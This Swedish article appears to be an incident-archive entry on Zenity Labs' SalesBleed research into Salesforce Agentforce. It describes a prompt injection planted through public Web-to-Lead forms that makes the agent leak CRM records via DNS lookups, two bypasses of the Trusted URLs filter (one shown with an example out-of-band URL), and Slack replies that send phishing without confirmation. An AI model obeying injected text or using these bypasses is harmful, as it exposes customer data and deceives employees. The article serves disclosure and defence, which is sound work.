SalesBleed: En offentlig lead, tre Agentforce-brister, noll klick

Den 24 september 2026 Zenity Labs publicerade forskning som företaget kallar SalesBleed: tre sårbarheter i Salesforce Agentforce, CRM-leverantörens plattform för att bygga och driftsätta AI-agenter, som låter en utomstående hämta kundposter ur en organisations Salesforce-org och sedan använda organisationens egen agent för att nätfiska mot personalen. Två av de tre kräver inget klick från någon inom företaget. Exponeringen gäller Agentforce-klienter som tar emot Web-to-Lead-inskick, och alla agenter som en klient har publicerat i Slack. Dark Reading rapporterar att inga CVE-identifierare tilldelades, och Salesforce uppgav för mediet att företaget inte har några bevis för att någon kund har utnyttjats. Det fullständiga registret, med arkivets egen konfidensgrad och skadestatus, finns i Orca AI Incident Archive, som loggar varje dokumenterad agentincident mot dess angivna källor.

Hur ett publikt leadformulär blir en datakanal

Web-to-Lead är Salesforces officiella mekanism för att samla in leads, och den är oautentiserad från grunden – den finns för att vem som helst på internet ska kunna skicka in ett formulär och få innehållet att landa i kundens CRM. Zenitys första inlägg, tillskrivet Alex Apostolov och kollegor, inleds med det som hela inträdesvillkoret: inget konto att stänga av, ingen session att återkalla, ingen inloggningshändelse att upptäcka. Angriparen rör aldrig tenanten.

Kedjan som forskarna beskriver löper i fem steg:

• Angriparen skickar in en lead via en offentlig Web-to-Lead-slutpunkt, med en dold promptinjektion i ett av dess fält. Det ser ut som en vanlig förfrågan.

• Leaden ligger kvar där tills en anställd frågar sin agent något helt vanligt – Zenitys exempel är "kolla mina senaste leads och hjälp mig med den senaste."

• Agenten läser den förgiftade posten och följer instruktionerna i den, med hjälp av verktyget Query Records som den förvalda General CRMunderagenten redan har för att fråga Accounts-tabellen. Zenity säger uttryckligen att ingen privilegieeskalering behövdes: samma underagent levereras med läsbehörighet till både Leads och Accounts, och dessa är standardinställningar snarare än felkonfigurationer.

• Den skriver de värden den hämtade – ett företagsnamn och en affärsstorlek, i forskarnas exempel – i underdomänen för ett värdnamn som angriparen kontrollerar, och skriver ut resultatet tillbaka till användaren som en HTML-bildtagg.

• Chattgränssnittet renderar externa bildkällor utan sanering eller ett bekräftelsesteg, så klienten slår upp värdnamnet. Data lämnar systemet inuti DNS-frågan.

Det sista steget är den del som det är värt att stanna upp vid. Eftersom nyttolasten färdas i DNS-frågan är den efterföljande HTTP-begäran irrelevant – den kan misslyckas, gå ut på tiden eller blockeras helt, och data har redan gått iväg. Zenity påpekar att detta överlever kontroller för utgående HTTP-trafik. En enskild DNS-etikett är begränsad till 63 tecken och ett fullständigt namn till 253, så en inlämning läcker en bit; forskarna beskriver hur man tömmer en hel Accounts-tabell ett konto i taget genom upprepade förfrågningar, vilket är där "bleed" i namnet kommer ifrån.

Det finns en andra utväg som kräver ännu mindre: för agenter som publiceras i Slack krävs ingen bildtagg. Slack omvandlar råa URL:er till förhandsvisningar och crawlar länken för att bygga en, så det räcker att skriva ut URL:en för att utlösa samma DNS-uppslagning. SecurityWeek citerar Zenitys sammanfattning av det resulterande beteendet: Slack initierar förfrågningar som bär CRM-data till infrastruktur som angriparen kontrollerar så snart länkarna dyker upp.

Zenity är noga med vad ”nollklick” innebär här, och åtskillnaden spelar roll. Den anställda gör exakt en sak: ställer en vanlig fråga till sin egen agent om sina egna leads. Hen öppnar ingen bilaga, följer ingen länk och interagerar inte med något som angriparen har skickat. Allt efter den frågan sker automatiskt. Det skadliga leadet ligger också kvar i Leads-tabellen som vilken annan post som helst, så det kan utlösas igen varje gång en anställd granskar det – och en angripare som vill ha en bredare kanal kan helt enkelt skicka in fler leads. SecurityWeek noterar en detalj som gör misslyckandet ännu tydligare: Agentforce rapporterade att innehållet hade blockerats av organisationens säkerhetspolicyer, trots att CRM-data redan hade nått angriparens server.

Varför filtret för betrodda URL:er inte höll

Trusted URLs är Salesforce-kontrollen som är avsedd att stoppa exakt detta – den begränsar de externa destinationer som Agentforce kan nå och tar bort länkar och bilder som pekar på domäner som ingen har godkänt. Zenity hittade två gränsfall som tillsammans gick rakt igenom den.

Den första var toppdomänen. Redigeraren kände bara igen en fast lista med toppdomäner, och .fun – domänen som används av plattformen app.interactsh.com för out-of-band-testning – fanns inte med. Ett värdnamn som slutar på en okänd toppdomän kanske inte alls registreras som ett värdnamn. Den andra var var en URL slutar: redigeraren och ytan som renderar svaret var oense om avslutningstecken, och klammerparenteser och hakparenteser låg i mellanrummet. En sträng som https://random_string.oast.fun/{email} är inte en giltig URI enligt RFC 3986, men den producerar ändå den DNS-fråga som attacken behöver. Redigeraren såg en felaktig icke-URL och lämnade den ifred; webbläsaren var villig att hämta den som en bildkälla.

En strukturell detalj gjorde kringgåendet justerbart. Redigeringen körs efter att agenten har genererat sina utdata, som en separat process som modellen inte känner till. Zenity upptäckte att agentens råutdata och den redigerade versionen båda fanns med i svaren som skickades till klienten, vilket gjorde att forskarna kunde jämföra de två och ta bort vilka avvikelser filtret än fångade – till exempel hakparenteser i en subdomän – tills injektionen var stabil hela vägen.

Dark Reading rapporterar att Salesforces URL-redigering fram till nu hade förlitat sig på matchning med reguljära uttryck för att avgöra om en sträng såg ut som en URL, vilket var det som gjorde att domäner kunde döljas i oväntade format. Företaget säger att man har ersatt det med specifikationsenlig URL-tolkning och har konsoliderat URL-inspektionen så att all URL-relaterad agenttrafik nu passerar genom en enda gateway.

Den tredje bristen: nätfiske i agentens eget namn

Slack-fyndet, som publicerades samma dag i ett andra inlägg tillskrivet João Donato och kollegor, handlar om identitet snarare än data. Agentforce-agenter kan publiceras direkt i Slack, och deras funktioner anländer som underagenter; Zenity noterar att Slack Knowledgemallen, inklusive alla dess åtgärder, kan läggas till med två klick.

De flesta skrivåtgärder i Slack som forskarna granskade hade två skydd: ett bekräftelsesteg före utskicket och attribuering av anroparen som talade om för mottagarna vilken användares begäran som orsakade meddelandet. Skicka ett direktmeddelande i Slack hade båda. Svara i en Slack-tråd hade inget av dem. När Agentforce väl beslutade att anropa den åtgärden gick meddelandet ut utan godkännande och utan attribuering – det bar agentens identitet och ingenting som pekade tillbaka på den som hade bett om det.

Det gav upphov till två attackvägar. En illasinnad insider som redan kan chatta med agenten kan lägga upp nätfiske i rätt tråd och sedan gå därifrån utan att något kan spåras till personen, eftersom mottagarna läser det som ett meddelande från agenten. En extern angripare får samma resultat via Web-to-Lead-injektionen: den förgiftade leaden instruerar agenten att svara i Slack-kanaler, och det gör den utan att fråga medarbetaren som utlöste den. Kringgåendet av URL-redigeringen från det första inlägget är det som gör att nätfiskelänken klarar filtreringen; Zenity fann senare att länkar också kunde döljas bakom ofarligt utseende Markdown-text. Zenity och Salesforce beskriver båda konsekvensen i samma ordalag: medarbetarna får meddelandet från ett betrott system som redan är verksamt på deras arbetsplats i stället för från en okänd extern avsändare, och alla som följer länken och lämnar över inloggningsuppgifter exponerar e-post, Slack, källkodsförråd och vad annat den identiteten kan nå.

Vad som är fastställt, och vad som inte är det

Fyra saker är fastställda i de källor som granskats här. Zenity demonstrerade attackkedjorna och publicerade en video med proof of concept. Salesforce bekräftar analysen och beskriver de ändringar som gjorts – i uttalanden till Dark Reading och till SecurityWeek. Ingen CVE tilldelades någon av de tre bristerna, vilket Dark Reading tillskriver att rättningarna gjordes på Salesforces sida i en hostad tjänst snarare än i programvara som kunderna kör. Och Salesforce uppger att man för närvarande inte har några bevis för att något av detta utnyttjades mot en kund.

Det som inte är klarlagt är allt som rör omfattningen. Ingen källa som granskats här anger hur många Agentforce-tenantmiljöer som körde de påverkade standardinställningarna, om några kunddata faktiskt lämnade en kundmiljö, eller om någon utanför Zenity Labs och Salesforce letade efter det. De oberoende medierna – Dark Reading, SecurityWeek, Infosecurity Magazine och The Register – rapporterade var och en om fynden och återgav Salesforces svar, men ingen av dessa artiklar rapporterar om en egen reproduktion av attacken. Det finns ingen andra oberoende teknisk undersökning av SalesBleed, och den här artikeln antyder inte att det finns någon.

Källorna i materialet självt är också oense om en detalj, på ett sätt som är värt att lyfta fram snarare än att släta över. Zenitys pressmeddelande, som distribuerades via Business Wire den 24 september, säger att Salesforce åtgärdade de specifika Trusted URLs-bypassar som Zenity rapporterade "inom cirka två veckor". Den dag-för-dag-tidslinje som finns i Zenitys tekniska inlägg sträcker sig från den 1 juni, då rapporten skickades, till den 18 och 19 augusti, då åtgärden bekräftades – närmare elva veckor. Båda redogörelserna kommer från samma organisation.

Vad Salesforce ändrade, och när

Rapporteringen drog ut på tiden och var, enligt Zenity, hjärtlig. Fynden skickades till Salesforce via e-post den 1 juni 2026; Salesforce bekräftade dem dagen därpå och uppgav att de arbetade på åtgärder; de två teamen höll ett tekniskt samtal den 16 juni; Salesforce stängde rapporterna den 17 juni och noterade att ingenjörsarbetet fortfarande pågick. Den 18 augusti bekräftade Salesforce åtgärderna, och den 19 augusti verifierade Zenity specifikt kringgåendet av Trusted URLs. Attribueringen för Slack-åtgärden bekräftades åtgärdad den 20 augusti. Att kräva bekräftelse som standard tog längre tid: den 25 augusti uppgav Salesforce att man fortfarande arbetade med det, den 10 september angav man den 21 september som mål, och den 21 september testade och bekräftade Zenity alla tre.

De ändringar som Salesforce beskriver är specifika. Standardinställningar för vissa Agentforce-åtgärder i Slack kräver nu användarbekräftelse innan ett meddelande skickas, och företaget säger att det kontaktar kunder direkt för att granska deras konfigurationer. För Trusted URLs har regexmatchningen tagits bort till förmån för specifikationsenlig parsning, och URL-inspektion har samlats i en enda gateway i stället för att hanteras på flera punkter i ett arbetsflöde.

Zenitys avslutande anmärkning om Slack-fixen är ett förbehåll snarare än ett klartecken. Bekräftelsekravet är en inställning, och det krävs ett klick för att stänga av det; när det väl är avstängt är samma attackväg återigen tillgänglig. Forskarnas råd till organisationer som bygger agenter är att hålla koll på hur skrivåtgärder konfigureras i stället för att anta att standardinställningen gäller.

Varför forskarna säger att det generaliserar

Så Salesforce-specifika detaljerna än är, ramar Zenity in SalesBleed som ett exempel på ett mönster. Zenitys egen sammanfattning är att varje agent som läser poster som skickats in från externa källor, renderar länkar eller bilder tillbaka till en användare och även har verktygsåtkomst till känsliga data har samma tre ingredienser på samma plats. Forskarna kallar kombinationen en version av den dödliga trifekten – privata data, opålitligt innehåll och en utgående kanal som möts i en och samma identitet.

Mönstret har lokal förhistoria. Dark Reading rapporterar att forskare på Noma Security ett år före SalesBleed använde samma Web-to-lead-väg för att nå Salesforce-data, och att Salesforce svarade med att skärpa sina URL-regler – den regexbaserade maskning som Zenity sedan kringgick. En talesperson för Salesforce erkände för Dark Reading att det tidigare svaret var en snabblösning snarare än en heltäckande sådan, och sade att detta är avsett att vara mer robust.

"Vi hittade flera sätt att bryta igenom den säkerhetsgräns som är utformad för att hindra Agentforce från att skicka företagsdata till icke godkända destinationer", säger Michael Bargury, medgrundare och teknikchef på Zenity, i pressmeddelandet. "Hårda gränser är fortfarande ett av våra starkaste verktyg för att hålla AI-agenter under kontroll, men de är fortfarande programvara. När dessa kontroller misslyckas står vi kvar med en agent med privilegierad åtkomst, hög autonomi och inga gränser." Tamir Ishay Sharbat, Zenitys chef för säkerhetsforskning, framförde den bredare poängen till Dark Reading: ju mer makt en agent ges, desto farligare är den, och en agent som själv kan skicka meddelanden till flera kanaler samtidigt som den läser avtal, leads eller leverantörsreskontra är en kombination som kommer att utnyttjas. Bargury tillade en andra farhåga till samma publikation – att agenter byggs som svarta lådor, med sammanfattningar i stället för loggar, vilket gör det svårt att avgöra vad en agent gjorde eller varför.

Det som skulle flytta den här posten från demonstration till incident är inte en ny teknik utan ett bevis: ett kundavslöjande, en CVE eller ett uttalande från Salesforce eller Zenity om att kedjorna har setts användas. Inget av detta finns i källorna som granskats här. Tills ett sådant bevis finns står SalesBleed kvar som det arkivet registrerar det som – en sårbarhet med hög allvarlighetsgrad, dokumenterad enligt en standard med konfidensnivå A av dem som hittade den och bekräftad som åtgärdad av leverantören, utan någon registrerad skada i verkligheten.